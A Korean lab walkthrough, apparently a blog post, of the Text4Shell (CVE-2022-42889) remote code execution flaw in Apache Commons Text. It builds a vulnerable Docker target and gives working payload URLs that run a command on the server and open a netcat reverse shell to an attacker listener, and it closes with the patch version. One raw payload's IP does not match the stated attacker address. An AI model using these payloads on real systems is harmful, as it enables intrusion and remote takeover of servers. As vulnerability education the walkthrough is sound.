CVE-2022-42889인 text4shell 취약점을 간단하게 알아보고,
U. J. Karthik의 PoC 코드를 작성해볼것이다.
(간단하게 알아 볼 것이기에 자세한 내용이 궁금하다면 아래 참고 링크들을 보면된다.)
2022년 10월 13일에 아파치에서 1.5~1.9 버전에서 Apache Commons Text 라이브러리의
특정 기능을 사용하는 Java에서 공격자가 서버에서 임의의 코드를 실행할 수 있는
취약점이 발생한다고 공개하였다.
Server
Ubuntu 20.04
IP: 192.168.18.139
sudo apt update
sudo apt update && sudo apt install openjdk-11-jdk
sudo apt install docker.io containerd runc
cd /tmp
wget https://mirrors.estointernet.in/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
tar -xvf apache-maven-3.6.3-bin.tar.gz
sudo mv apache-maven-3.6.3 /opt/
M2_HOME='/opt/apache-maven-3.6.3'
PATH="$M2_HOME/bin:$PATH"
export PATH
cd /tmp
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
cd /tmp/cve-2022-42889-text4shell-docker/
mvn clean install
docker build --tag=text4shell .
docker run -p 8080:8080 text4shell
http://192.168.18.139:8080/text4shell/attack?search=blablabla
로컬이나 외부에서 접속을 했을 때 위 사진과 같이 나오면 Server 환경 구성은 완료되었다.
http://192.168.18.139:8080/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo’)}
http://192.168.18.139:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
docker container ls
docker exec -it c1787458a52e bash
ls /tmp
RCE가 성공한 것을 확인할 수 있다.
첫번째 RCE 코드는 server의 내부에 foo라는 파일을 생성하는 것이다.
두번째는 Reverse shell 공격을 해볼 것이다.
attacker
Ubuntu 20.04
IP : 172.19.240.193
nc -nvlp 443
http://192.168.18.139:8080/text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec(’nc 192.168.62.161 443 -e /bin/bash’)}
http://192.168.18.139:8080/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20172.19.240.193%20443%20-e%20%2Fbin%2Fbash%27%29%7D
명령어가 모두 잘 작동하는 것을 확인 할 수 있다.
아파치에서 Apache Commons Text 라이브러리의 1.10버전으로 패치하면 취약점이 해결된다.
신기하네여!!